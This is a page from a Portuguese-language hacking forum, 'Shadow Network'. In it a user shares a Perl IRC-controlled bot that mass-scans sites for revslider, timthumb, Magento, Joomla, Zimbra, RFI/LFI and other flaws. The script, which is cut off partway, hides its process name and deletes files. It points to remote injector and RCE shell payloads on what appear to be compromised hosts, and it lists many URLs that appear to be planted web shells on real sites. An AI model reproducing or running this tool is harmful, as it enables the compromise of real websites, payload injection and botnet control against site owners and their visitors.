Welcome to Shadow Network

Seja bem-vindo ao nosso fórum, registre-se para poder interagir em nosso fórum

Pesquisar na Comunidade: Mostrando resultados para as tags ''[SOURCE]''.

  • Pesquisar por Tags

    Digite tags separadas por vírgulas
  • Pesquisar por Autor

Tipo de Conteúdo


Fóruns

  • Anúncios da Administração
    • Regras
    • Avisos
  • Hacking
    • Leaks
    • Malware
    • Exploits
    • Deface
    • Programas
    • DESATUALIZADO
  • Programação
    • Lógica de Programação
    • Linguagens
    • Mobile
    • Linguagem de Marcação
  • Redes
    • DDoS
    • DDoS Mitigation
    • Proxies/VPN
    • Geral
  • Papers
    • Programação
    • Hacking
    • Redes
  • Estudo
    • Grupos de estudo
    • Hardware
    • Software
  • Design
    • Geral
  • Off-Topic
    • Discussões Gerais
    • LeakedLoL
  • Carding/Banking
    • Aprovações
    • Checkers / Testadores
    • Telas
    • DESATUALIZADO

Categorias

  • Files

Encontrado 25 registros

  1. Olá como o fórum tinha sido resetado acabei ficando meio afastado mas novamente venho trazer algumas ferramentas que costumava utilizar no passado dessa vez é um simples bot scanner para diversas vulnerabilidades (ainda pega bastante coisa só criar alguma dork decente) O modo de utilização é bem simples só irar precisar de um irc (de preferencia criado por você pois muitos impedem bot's) e um acesso SSH para rodar o script logaremos no SSH e daremos um perl nome.pl e ele estará executando :) ele busca falhas como revslider lfd rce etc #!/usr/bin/perl # Multi Bot Scanner ######################################################### $powered=""; $mail=""; ######################################################### use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use Socket; use IO::Socket; use IO::Socket::INET; use IO::Select; use MIME::Base64; use URI::Escape; use Digest::MD5 qw(md5_hex); use DBI; use URI; ############# Module Use ############### my $number = int( rand(99) ); my $datetime = localtime; my $fakeproc = "/usr/sbin/httpd"; my $ircserver = "IRC SERVER"; my $ircport = "6667"; my $nickname = "PUTA[".$number."]"; my $ident = "PUTA"; my $channel = "#CANAL"; my $chanxxx = "#CANAL"; my $chan2 = "#CANAL"; my $chaninfo = "#CANAL"; my $submitchan = "#CANAL"; my $admin = "NOMEADMCAN"; my $fullname = "9,1[4@9]11 revslider! scanner do LORDÏ 9,1[4@9]"; my $rawmsg = $ARGV[4]; my $msgraw = $ARGV[5]; my $nob0dy = "9,1[4@9]11 revslider! scanner do LORDÏ 9,1[4@9]"; my $wplogo = "9,1 Revslider 4<=>9"; my $hdlogo = "9,1 Hd player 4<=>9"; my $jdlogo = "9,1 Jdownload 4<=>9"; my $jcelogo = "9,1 Jce 4<=>9"; my $simlogo = "9,1 Si 4<=>9"; my $mglogo = "9,1 Magento 4<=>9"; my $mginlogo = "9,1 MaGento 4<=>9"; my $whmlogo = "9,1 Whm 4<=>9"; my $timlogo = "9,1 Timthumb 4<=>9"; my $amlogo = "9,1 Multy Upload 4<=>9"; my $am2logo = "9,1 Multy Upload 2 4<=>9"; my $updfylogo = "9,1 Uploadify 4<=>9"; my $magentologo = "9,1 Magento Xmlrpc Bugs 4<=>9"; my $zimbralogo = "9,1 Zimbra 4<=>9"; my $woopralogo = "9,1 Woopra 4<=>9"; my $seologo = "9,1 Wordpress seo-watcher 4<=>9"; my $slimlogo = "9,1 Wordpress wp-slimstat-ex 4<=>9"; my $civiclogo = "9,1 Joomla com_civicrm 4<=>9"; my $civiclogo2 = "9,1 Civicrm module of all 4<=>9"; my $civiclogo3 = "9,1 Joomla civicrm administrator 4<=>9"; my $acymailinglogo = "9,1 Joomla com_acymailing administrator 4<=>9"; my $acymailinglogo2 = "9,1 Joomla com_acymailing 4<=>9"; my $jinclogo = "9,1 Joomla com_jinc administrator 4<=>9"; my $jinclogo2 = "9,1 Joomla com_jinc 4<=>9"; my $maianmedialogo ="9,1 Joomla com_maianmedia administrator 4<=>9"; my $maianmedialogo2 ="9,1 Joomla com_maianmedia 4<=>9"; my $joomleaguelogo ="9,1 Joomla com_joomleague 4<=>9"; my $joomleaguelogo2 ="9,1 Joomla com_joomleague administrator 4<=>9"; my $magenlogo = "9,1 Magento XML exploite 4<=>9"; my $wpeventlogo="9,1 WordPress PHP Event Calendar 4<=>9"; my $wpdocmanlogo="9,1 Viartshop 4<=>9"; my $oscologo="9,1 Oscomerce 4<=>9"; my $rfilogo="9,1 Gaya RFI 4<=>9"; my $lfilogo="9,1 Gaya LFI 4<=>9"; my $cebonglogo="9,1 Cebong Exploite 4<=>9"; my $timcmd = "!tim".$number.""; my $wpcmd = "!wp".$number.""; my $hdcmd = "!hd".$number.""; my $jdcmd = "!jd".$number.""; my $mgcmd = "!mg".$number.""; my $mgcmd2 = "!mmi".$number.""; my $whmcmd = "!wh".$number.""; my $jcecmd = "!jce".$number.""; my $jccmd = "!jc".$number.""; my $amcmd = "!amu".$number.""; my $amcmd2 = "!amu".$number.""; my $updfy = "!up".$number.""; my $magentocmd = "!mgxml".$number.""; my $zimbracmd = "!zim".$number.""; my $zimbraup = "!zimup".$number.""; my $woopra = "!woopra".$number.""; my $slimcmd = "!slim".$number.""; my $seocmd = "!seo".$number.""; my $civicrm = "!civic".$number.""; my $civic = "!allcivic".$number.""; my $civicrmcmd = "!civicadmin".$number.""; my $acymailing = "!mailing".$number.""; my $acymailing2 = "!mailing".$number.""; my $jinc = "!jinc".$number.""; my $jinc2 = "!jinc".$number.""; my $maianmedia = "!mm".$number.""; my $maianmedia2 = "!mm2".$number.""; my $joomleague = "!gue".$number.""; my $joomleague2 = "!gue2".$number.""; my $helpcmd = "!help"; my $wpeventcmd = "!event".$number.""; my $wpdocmancmd = "!vi".$number.""; my $rficmd = "!rfi".$number.""; my $lficmd = "!lfi".$number.""; my $oscocmd = "!osco".$number.""; my $oscocmd2 = "!osco2".$number.""; my $cebongcmd = "!cebong".$number.""; my $timot = 30; my $silentmode = 0; my $ngilang = "rm -rf *.txt"; qx($ngilang); my $injector = "http://picasa.com.atelierzdrowiaiurody.eu/bad.php"; my $rceinjector = "http://www.handelwpolsce.pl/images/Sport/rce.php"; my $rceinjector2 = "http://www.handelwpolsce.pl/images/Sport/rce.php"; my $thumbid = "http://picasa.com.atelierzdrowiaiurody.eu/bad.php"; my $botxx = "http://picasa.com.atelierzdrowiaiurody.eu/rabot.php"; my $gento = "http://www.shop-raiffeisen.de/jatimcrew.flv"; my $gento2 = "http://cetnav.com/css/b.txt"; my $colok = "http://www.inform-tech.pl//images/jdownloads/screenshots/bad.txt?"; my $spread = "http://www.mbl.ug//images/jdownloads/screenshots/ec.txt?"; my $shellid ="http://www.inform-tech.pl//images/jdownloads/screenshots/bad.txt??"; my $botdid = "http://picasa.com.atelierzdrowiaiurody.eu/load.php"; my $botxdid = "http://picasa.com.atelierzdrowiaiurody.eu/rabot.php"; my $thumbshell = uri_escape($thumbid); my $md5tim = md5_hex($thumbid).".php"; my $md5bot = md5_hex($botdid).".php"; my $md5botx = md5_hex($botxdid).".php"; my @bugxxx = ("/img_x.php","/themify/img_x.php","/timthumb.php","/includes/timthumb.php","/framework/scripts/timthumb.php","/thumb.php","/img.php","/scripts/timthumb.php","/lib/scripts/timthumb.php","/functions/timthumb.php"); #my $uagent = randomagent(); my $uagent = ("Mozilla/5.0 (compatible; Googlebot/2.1; +https://www.google.com/bot.html)","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511"); ########################## my @randombarner10 = ("http://209.188.87.82/error.php","http://hd.schoevers.com//logs/seka.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://aveo-home-staging.fr/modules/mobile/store/search.php","http://web.yru.ac.th/science/app-science/templates/rokancor/images/search.php","http://nbk.cl/ayuda/modules/parser/search.php","http://www.upguatemala.org//components/com_content/models/search.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://ivanous.free.fr/camu_s_world/images/stories/jump.php","http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://www.gironarural.com/wp-content/themes/twentyfourteen/class-mail.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://viewwebinars.com/wp-includes/errors.php","http://www.an-tc.ru/images/stories/errors.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php", "http://nbk.cl/ayuda/modules/parser/search.php", "http://liftoffconsulting.ca/wp-includes/errors.php","http://arthyforros.com.br/site/images/stories/error/error.php","http://www.ruedesjoueurs.com/templates/rdjv3/css/.svn/prop-base/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.69hotel.com.my/administrator/components/com_weblinks/views/errors.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://riasztoakku.hu/administrator/components/com_weblinks/views/errors.php","http://wavevent.fr/administrator/components/com_weblinks/views/errors.php","http://www.infobeton.fr/administrator/components/com_weblinks/views/errors.php","http://www.iscavets.be/administrator/components/com_weblinks/views/errors.php","http://www.vacanzeincampagna.it/components/com_weblinks/views/errors.php","http://coastalmedia.co.uk/administrator/components/com_weblinks/views/errors.php","http://www.parroquiajesusobrerotemuco.com/joomla/images/stories/eror.php","http://www.an-tc.ru/images/stories/errors.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://ras-vet.ru/php/error.php","http://s195003287.online.de/Platz/administrator/templates/index2.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.austriasport.nl/wp-includes/errors.php","http://hd.schoevers.com//logs/seka.php","http://www.allsocool.com.au/php/error.php","http://www.corpetrol.edu.co/corpetrol//images/stories/error.php","http://unhas.ac.id/farmasi/lama/cache/k2/data/page-sidebar.php","http://www.barranquilla.gov.co/salud/cache/mod_flashw3c/page-sidebar.php","http://www.labviewportal.eu/ru/components/com_content/views/section/tmpl/page-sidebar.php","http://www.ruedesjoueurs.com/templates/rdjv3/css/.svn/props/page-sidebar.php","http://sexything.com.mx/joomla1.5/components/com_content/views/section/tmpl/page-sidebar.php","http://www.formentera-guitars.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.grandesimpresiones.com/modules/mod_footer/tmpl/page-sidebar.php","http://www.loginpt.com/website/components/com_content/views/section/tmpl/page-sidebar.php","http://inlift.com.ua/components/com_content/views/section/tmpl/page-sidebar.php","http://www.iwsg.ir/components/com_content/views/section/tmpl/page-sidebar.php","http://www.elacademy.eu/joomla/components/com_content/views/section/tmpl/page-sidebar.php","http://apps.logicinstinct.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.xena.ad/adord/components/com_content/views/section/tmpl/page-sidebar.php","http://www.scs.vic.edu.au/components/com_content/views/section/tmpl/page-sidebar.php","http://www.dps.rudarozaniecka.elubaczow.pl/components/com_content/views/section/tmpl/page-sidebar.php","http://moltrup-brand.dk/components/com_content/views/section/tmpl/page-sidebar.php","http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.portrinta.pt/cache/jw_simpleImageGallery/95/netbnx/img/page-sidebar.php","http://ovbcompany.cz/components/com_akeeba/views/light/tmpl/page-sidebar.php","http://www.barranquilla.gov.co/salud/cache/mod_flashw3c/page-sidebar.php","http://www.an-tc.ru/images/stories/errors.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://ronde-en-couleurs.com/wp-includes/error.php","http://www.voileenligne.com/audio/komo.php","http://209.188.87.82/error.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://hd.schoevers.com//logs/seka.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://motoarena.ru/images/stories/errors.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://liftoffconsulting.ca/wp-includes/errors.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php","http://www.an-tc.ru/images/stories/errors.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://iidh-jurisprudencia.ac.cr/bibliote/images/stories/error.php"); my @randombarner11 = ("http://209.188.87.82/error.php","http://hd.schoevers.com//logs/seka.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://aveo-home-staging.fr/modules/mobile/store/search.php","http://web.yru.ac.th/science/app-science/templates/rokancor/images/search.php","http://nbk.cl/ayuda/modules/parser/search.php","http://www.upguatemala.org//components/com_content/models/search.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://ivanous.free.fr/camu_s_world/images/stories/jump.php","http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://www.gironarural.com/wp-content/themes/twentyfourteen/class-mail.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://viewwebinars.com/wp-includes/errors.php","http://www.an-tc.ru/images/stories/errors.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php", "http://nbk.cl/ayuda/modules/parser/search.php","http://www.bagliostrafalcello.it//wp-content/plugins/showbiz/temp/update_extract/showbiz/error.php", "http://liftoffconsulting.ca/wp-includes/errors.php","http://arthyforros.com.br/site/images/stories/error/error.php","http://www.ruedesjoueurs.com/templates/rdjv3/css/.svn/prop-base/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.69hotel.com.my/administrator/components/com_weblinks/views/errors.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://riasztoakku.hu/administrator/components/com_weblinks/views/errors.php","http://wavevent.fr/administrator/components/com_weblinks/views/errors.php","http://www.infobeton.fr/administrator/components/com_weblinks/views/errors.php","http://www.iscavets.be/administrator/components/com_weblinks/views/errors.php","http://www.vacanzeincampagna.it/components/com_weblinks/views/errors.php","http://coastalmedia.co.uk/administrator/components/com_weblinks/views/errors.php","http://www.parroquiajesusobrerotemuco.com/joomla/images/stories/eror.php","http://www.an-tc.ru/images/stories/errors.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://ras-vet.ru/php/error.php","http://s195003287.online.de/Platz/administrator/templates/index2.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.austriasport.nl/wp-includes/errors.php","http://hd.schoevers.com//logs/seka.php","http://www.allsocool.com.au/php/error.php","http://www.corpetrol.edu.co/corpetrol//images/stories/error.php","http://unhas.ac.id/farmasi/lama/cache/k2/data/page-sidebar.php","http://www.barranquilla.gov.co/salud/cache/mod_flashw3c/page-sidebar.php","http://www.labviewportal.eu/ru/components/com_content/views/section/tmpl/page-sidebar.php","http://www.ruedesjoueurs.com/templates/rdjv3/css/.svn/props/page-sidebar.php","http://sexything.com.mx/joomla1.5/components/com_content/views/section/tmpl/page-sidebar.php","http://www.formentera-guitars.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.grandesimpresiones.com/modules/mod_footer/tmpl/page-sidebar.php","http://www.loginpt.com/website/components/com_content/views/section/tmpl/page-sidebar.php","http://inlift.com.ua/components/com_content/views/section/tmpl/page-sidebar.php","http://www.iwsg.ir/components/com_content/views/section/tmpl/page-sidebar.php","http://www.elacademy.eu/joomla/components/com_content/views/section/tmpl/page-sidebar.php","http://apps.logicinstinct.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.xena.ad/adord/components/com_content/views/section/tmpl/page-sidebar.php","http://www.scs.vic.edu.au/components/com_content/views/section/tmpl/page-sidebar.php","http://www.dps.rudarozaniecka.elubaczow.pl/components/com_content/views/section/tmpl/page-sidebar.php","http://moltrup-brand.dk/components/com_content/views/section/tmpl/page-sidebar.php","http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.portrinta.pt/cache/jw_simpleImageGallery/95/netbnx/img/page-sidebar.php","http://ovbcompany.cz/components/com_akeeba/views/light/tmpl/page-sidebar.php","http://www.barranquilla.gov.co/salud/cache/mod_flashw3c/page-sidebar.php","http://www.an-tc.ru/images/stories/errors.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://ronde-en-couleurs.com/wp-includes/error.php","http://www.voileenligne.com/audio/komo.php","http://209.188.87.82/error.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://hd.schoevers.com//logs/seka.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://motoarena.ru/images/stories/errors.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://liftoffconsulting.ca/wp-includes/errors.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php","http://www.an-tc.ru/images/stories/errors.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://iidh-jurisprudencia.ac.cr/bibliote/images/stories/error.php"); my @randombarner12 = ("http://www.corpetrol.edu.co/corpetrol//images/stories/error.php","http://viewwebinars.com/wp-includes/errors.php","http://www.harmonywaters.us/administrator/components/com_maian15/charts/tmp-upload-images/komo/komo.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.druhupalem.cz/images/stories/errors.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://ronde-en-couleurs.com/wp-includes/error.php","http://www.voileenligne.com/audio/komo.php","http://209.188.87.82/error.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://hd.schoevers.com//logs/seka.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.auptitnidlorrain.fr/images/errors.php","http://www.organum.fr/images/errors.php","http://www.sibtruckservice.ru/images/errors.php","http://unhas.ac.id/farmasi/lama/images/stories/errors.php","http://motoarena.ru/images/stories/errors.php","http://www.mlmia.com//images/stories/search.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://apritalia.it/css/config.inc.php","http://europump.com.pl/images/errors.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://hd.schoevers.com//logs/seka.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.accidentresolution.com/blogspot/images/stories/error/error.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://liftoffconsulting.ca/wp-includes/errors.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.schirrhein.fr/error.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php","http://www.an-tc.ru/images/stories/errors.php","http://viewwebinars.com/wp-includes/errors.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://fonio.hu/ajiu/bp.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://www.mlmia.com//images/stories/search.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://ronde-en-couleurs.com/wp-includes/error.php","http://iidh-jurisprudencia.ac.cr/bibliote/images/stories/error.php"); my @randombarner13 = ("http://www.schnittkurse.de/libraries/simplepie/simplepie1.php","http://209.188.87.82/error.php","http://hd.schoevers.com//logs/seka.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://aveo-home-staging.fr/modules/mobile/store/search.php","http://web.yru.ac.th/science/app-science/templates/rokancor/images/search.php","http://nbk.cl/ayuda/modules/parser/search.php","http://www.upguatemala.org//components/com_content/models/search.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://ivanous.free.fr/camu_s_world/images/stories/jump.php","http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://www.gironarural.com/wp-content/themes/twentyfourteen/class-mail.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://viewwebinars.com/wp-includes/errors.php","http://www.an-tc.ru/images/stories/errors.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php", "http://nbk.cl/ayuda/modules/parser/search.php", "http://liftoffconsulting.ca/wp-includes/errors.php","http://arthyforros.com.br/site/images/stories/error/error.php","http://www.ruedesjoueurs.com/templates/rdjv3/css/.svn/prop-base/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.69hotel.com.my/administrator/components/com_weblinks/views/errors.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://riasztoakku.hu/administrator/components/com_weblinks/views/errors.php","http://wavevent.fr/administrator/components/com_weblinks/views/errors.php","http://www.infobeton.fr/administrator/components/com_weblinks/views/errors.php","http://www.iscavets.be/administrator/components/com_weblinks/views/errors.php","http://www.vacanzeincampagna.it/components/com_weblinks/views/errors.php","http://coastalmedia.co.uk/administrator/components/com_weblinks/views/errors.php","http://www.parroquiajesusobrerotemuco.com/joomla/images/stories/eror.php","http://www.an-tc.ru/images/stories/errors.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://ras-vet.ru/php/error.php","http://s195003287.online.de/Platz/administrator/templates/index2.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://www.austriasport.nl/wp-includes/errors.php","http://hd.schoevers.com//logs/seka.php","http://www.allsocool.com.au/php/error.php","http://www.corpetrol.edu.co/corpetrol//images/stories/error.php","http://unhas.ac.id/farmasi/lama/cache/k2/data/page-sidebar.php","http://www.barranquilla.gov.co/salud/cache/mod_flashw3c/page-sidebar.php","http://www.labviewportal.eu/ru/components/com_content/views/section/tmpl/page-sidebar.php","http://www.ruedesjoueurs.com/templates/rdjv3/css/.svn/props/page-sidebar.php","http://sexything.com.mx/joomla1.5/components/com_content/views/section/tmpl/page-sidebar.php","http://www.formentera-guitars.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.grandesimpresiones.com/modules/mod_footer/tmpl/page-sidebar.php","http://www.loginpt.com/website/components/com_content/views/section/tmpl/page-sidebar.php","http://inlift.com.ua/components/com_content/views/section/tmpl/page-sidebar.php","http://www.iwsg.ir/components/com_content/views/section/tmpl/page-sidebar.php","http://www.elacademy.eu/joomla/components/com_content/views/section/tmpl/page-sidebar.php","http://apps.logicinstinct.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.xena.ad/adord/components/com_content/views/section/tmpl/page-sidebar.php","http://www.scs.vic.edu.au/components/com_content/views/section/tmpl/page-sidebar.php","http://www.dps.rudarozaniecka.elubaczow.pl/components/com_content/views/section/tmpl/page-sidebar.php","http://moltrup-brand.dk/components/com_content/views/section/tmpl/page-sidebar.php","http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php","http://www.portrinta.pt/cache/jw_simpleImageGallery/95/netbnx/img/page-sidebar.php","http://ovbcompany.cz/components/com_akeeba/views/light/tmpl/page-sidebar.php","http://www.barranquilla.gov.co/salud/cache/mod_flashw3c/page-sidebar.php","http://www.an-tc.ru/images/stories/errors.php","http://www.gingerteastudio.com//wp-content/uploads/components/search.php","http://viewwebinars.com/wp-includes/errors.php","http://www.linuxcompany.nl/modules/mod_login/error.php","http://inter-projekt.waw.pl/images/stories/error//error.php","http://ronde-en-couleurs.com/wp-includes/error.php","http://www.voileenligne.com/audio/komo.php","http://209.188.87.82/error.php","http://www.campenauktioner.dk//administrator/components/com_users/error.php","http://hd.schoevers.com//logs/seka.php","http://www.pmi.org.sg//components/com_jnews/includes/openflashchart/tmp-upload-images/components/search.php","http://motoarena.ru/images/stories/errors.php","http://kavkazinterpress.ru/plugins/content/config.inc.php","http://www.planville.com.br/plugins/search/config.index.php","http://www.dom-sad-ogorod.ru/plugins/search/config.inc.php","http://liftoffconsulting.ca/wp-includes/errors.php","http://mbuz-bcrb.ru/includes/js/calendar/lang/error.php","http://www.an-tc.ru/images/stories/errors.php","http://www.mdcsystems.com/plugins/content/config.inc.php","http://barbecue.by/display.by/plugins/content/config.inc.php","http://www.bam.co.th/bam/corporate/xmlrpc/index2.php","http://iidh-jurisprudencia.ac.cr/bibliote/images/stories/error.php"); my $fullmagic27 = $randombarner10[rand(scalar(@randombarner27))]; my $fullmagic28 = $randombarner11[rand(scalar(@randombarner28))]; my $fullmagic29 = $randombarner12[rand(scalar(@randombarner29))]; my $fullmagic30 = $randombarner13[rand(scalar(@randombarner30))]; my $jpath = "?____pgfa=https%3A%2F%2Fwww.google.com%2Fsearch?q="; my $jack1 = "http://www.palosrc.com/images/stories/index.php?q="; #"http://www.sidme.com.mx/web2/libraries/joomla/template/module/function/error.php".$jpath; my $jack2 = "http://www.palosrc.com/images/stories/index.php?q="; #"http://www.cdhood.co.uk//images/wp-includes/error.php".$jpath; my $jack3 = "http://www.palosrc.com/images/stories/index.php?q="; #"http://www.remont-rzn.ru//modules/mod_k2_tools/includes/error.php".$jpath; my $jack4 = "http://www.palosrc.com/images/stories/index.php?q="; #"http://hempedagogerna.com//images/stories/error.php".$jpath; my $jack5 = "http://ktperformance.com/plugins/tmp/index.php?q="; #"http://sk2hand.com/modules/mod_slideshow/scripts/index.php".$jpath; my $jack6 = "http://ktperformance.com/plugins/tmp/index.php?q="; #"http://www.tmhoc.com/modules/mod_feed/tmpl/index.php".$jpath; my $jack7 = "http://ktperformance.com/plugins/tmp/index.php?q="; #"http://greencoto.com.vn//cache/mod_custom/error.php".$jpath; my $jack8 = "http://ktperformance.com/plugins/tmp/index.php?q="; #"http://www.toyebitech.com//includes/js/dtree/error.php".$jpath; my $jack9 = "http://ktperformance.com/plugins/tmp/index.php??q="; #"http://ingatlan.horvathingatlan.hu/includes/js/dtree/error.php".$jpath; my $jack10 = "http://www.economicasunp.edu.ar/getace/plugins/system/legacy/index.php?q="; #"http://arsenal-vk.kz/includes/js/dtree/img/error.php".$jpath; my $jack11 = "http://www.economicasunp.edu.ar/getace/plugins/system/legacy/index.php?q="; #"http://www.sidme.com.mx/web2/libraries/joomla/template/module/function/error.php".$jpath; my $jack12 = "http://www.economicasunp.edu.ar/getace/plugins/system/legacy/index.php?q="; #"http://www.cdhood.co.uk//images/wp-includes/error.php".$jpath; my $jack13 = "http://www.economicasunp.edu.ar/getace/plugins/system/legacy/index.php?q="; #"http://www.remont-rzn.ru//modules/mod_k2_tools/includes/error.php".$jpath; my $jack14 = "http://www.gralexandair.net/test/core/modules/Login/index.php?q="; #"http://www.sidme.com.mx/web2/libraries/joomla/template/module/function/error.php".$jpath; my $jack15 = "http://www.gralexandair.net/test/core/modules/Login/index.php?q="; #"http://www.cdhood.co.uk//images/wp-includes/error.php".$jpath; my $jack16 = "http://www.gralexandair.net/test/core/modules/Login/index.php?q="; #"http://www.remont-rzn.ru//modules/mod_k2_tools/includes/error.php".$jpath; my $jack17 = "http://www.gralexandair.net/test/core/modules/Login/index.php?q="; #"http://hempedagogerna.com//images/stories/error.php".$jpath; my $jack18 = "http://www.stantek.no/modules/mod_finder/tmpl/index.php?q="; #"http://hellstromshovslageri.com//images/stories/galleri/thumbs/error.php".$jpath; my $jack19 = "http://www.stantek.no/modules/mod_finder/tmpl/index.php?q="; #"http://www.smnc.ac.th/group/website/includes/js/calendar/lang/error.php".$jpath; my $jack20 = "http://www.stantek.no/modules/mod_finder/tmpl/index.php?q="; #"http://greencoto.com.vn//cache/mod_custom/error.php".$jpath; my $jack21 = "http://www.stantek.no/modules/mod_finder/tmpl/index.php?q="; #"http://www.toyebitech.com//includes/js/dtree/error.php".$jpath; my $jack22 = "http://scenatodziwna.home.pl/estede/administrator//components/com_contact/tables/index.php?q="; #"http://ingatlan.horvathingatlan.hu/includes/js/dtree/error.php".$jpath; my $jack23 = "http://scenatodziwna.home.pl/estede/administrator//components/com_contact/tables/index.php?q="; 